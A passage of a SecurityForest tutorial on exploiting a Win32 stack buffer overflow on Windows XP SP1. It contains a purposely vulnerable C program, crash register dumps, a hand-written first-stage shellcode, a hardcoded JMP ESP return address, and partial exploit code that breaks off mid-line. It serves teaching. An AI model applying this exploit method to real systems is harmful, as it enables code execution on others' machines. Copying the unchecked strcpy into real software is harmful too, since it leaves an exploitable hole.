Exploit: Stack Overflows - Basic stack overflow exploiting on win32
From SecurityForest
How-to exploit stack overflows on win32 (Examples written for WindowsXP Sp1 EN)
| Table of contents |
Necessary Tools
- OllyDBG - C/C Compiler - nasm - Sac
The Code
The Vulnerable Code:
// lamebuf.c - talz
#include<stdio.h>
#include<string.h>
int main(int argc,char *argv[]){
char buf[512];
if (argc != 2){ return -1; } //check how many arguments we got
strcpy(buf,argv[1]); // copying userinput without any limit <- a Buffer overflow
return 0x0;
}
Stack Layout
When a function is being called, arguments are pushed onto the stack followed by a CALL instruction.
PUSH eax //Push Parameter PUSH ebx //Push Parameter CALL 0x77DF0101 //Call the Actual Function
When the CALL instruction is executed the current value of EIP (The Instruction Pointer)
is pushed onto the stack and serves as the Return Address.
When the function 0x77DF0101 is called, the stack should look as shown below.
Higher address [RET] (return address) [EBX] [EAX] Lower address
When the function 0x77DF0101 returns, the Return Address will be poped from the stack and the
next instruction (JMP 0x77FD0304) will be executed.
When a buffer overflow occur we might will be able to overwrite the Return Address and cause the application to execute arbitrary code.
Higher address [buf] [ebp] [RET] [Parameter1] [Parameter2] ... Lower address
The stack grows towards the lower address thus we can overwrite the Return Address in our specific case.
Getting Started
Well , before we can actually exploit this application, we need to see what happens when we trigger a buffer overflow.
Compile the code mentioned above and execute the following command :
C:\exploit\lamebuf.exe AAAAAAAAAAA... ( when "A" appears 520 times )
(dont forget to enable "Just In Time" Debugging in OllyDBG)
lamebuf.exe should crash, if you look at the registers you can see that EIP and EBP was overwritten as expected
EAX 00000000 ECX 00320FDC EDX 00414141 EBX 7FFDF000 ESP 0012FF88 EBP 41414141 ESI 77D45950 EDI 77F59037 ntdll.77F59037 EIP 41414141
Ok , so we control the execution flow. Now what?
Finding a reliable way to exploit the vulnerability
We need to find a reliable method of tricking the application into executing our shellcode without crashing.
First of all we'll examine all registers and search for one that points to User Controlled data (in our case "AAA...")
No luck? Try passing 540 chars instead of 520, let it crash and let's examine the registers now.
lamebuf.exe should crash with the following state of registers
EAX 00000000 ECX 00320FF0 EDX 00414141 EBX 7FFDF000 ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAA" EBP 41414141 ESI 77D45950 EDI 77F59037 ntdll.77F59037 EIP 41414141
ESP points to our User Controlled data, but ESP is just 20 Bytes long which is not enough for our shellcode.
Basicly we could overwrite the SEH Structure but that's beyond the scope of this tutorial.
So we have 20 Bytes of User Controlled data that we can execute. Let's examine the registers further:
ECX points to the end of our buffer, so basicly we can create a small shellcode (smaller then 20 bytes),
to decrease the size of ECX and perform a JMP ECX.
Writing custom shellcode
The shellcode is written in the Netwide Assembly language (nasm). We mentioned above that we need to decrease the size of ecx and perform a JMP ecx instruction, our netwide assembly code for this task will be
[BITS 32]
global _start
_start: dec ch ; dec ch (we dont want to have any nulls in our code dec ch ; by decreasing ch we decrease ecx by 256 if we do it twice and jump to ecx jmp ecx ; we land pretty much at the start of our second shellcode
compile it with the following command :
C:\exploit\nasm>nasmw -f bin smallshell.asm -o smallshell
now open 'smallshell' in a hex editor and copy the bytes it should be somthing like this :
"\xFE\xCD\xFE\xCD\xFF\xE1"
And that will be our "First stage" shellcode.
Wrapping it all together
As a second stage shellcode im going to use a shellcode from Metasploit.com's online shellcode generator which is quite great
we know everything we need to know , let's write the exploit!
when an overflow occur our stack should look like this :
512 Bytes [buf] "AAAA..." 4 Bytes [ebp] "AAAA" 4 Bytes [RET] "AAAA"
we want to overwrite RET with a new return address as we can see the offset for that will be 516
since ESP holds a pointer to our "stage1 shellcode" we'r going to overwrite RET with an address that perform a JMP esp Instruction at ntdll.dll
(you can find such addresses using the tool "Sac" or manually with OllyDBG)
So far our exploit code should be :
#include<stdio.h> #include<string.h> #include<windows.h>
#define RET_ADDRESS 0x77F8AC16 // The new return address for WinXP Sp1 English
// First stage shellcode - decrease cx by 512 and JMP ecx unsigned char shell_stage1[]= "\xFE\xCD\xFE\xCD\xFF\xE1"; int main(int argc,char *argv[]){
char *bufExe[3]; char buf[560];
bufExe[0] = "lamebuf.exe"; bufExe[2] = NULL; memset(buf,0xCC,540); //For Debug purposes (0xCC is the interrupt for a Breakpoint) memcpy(
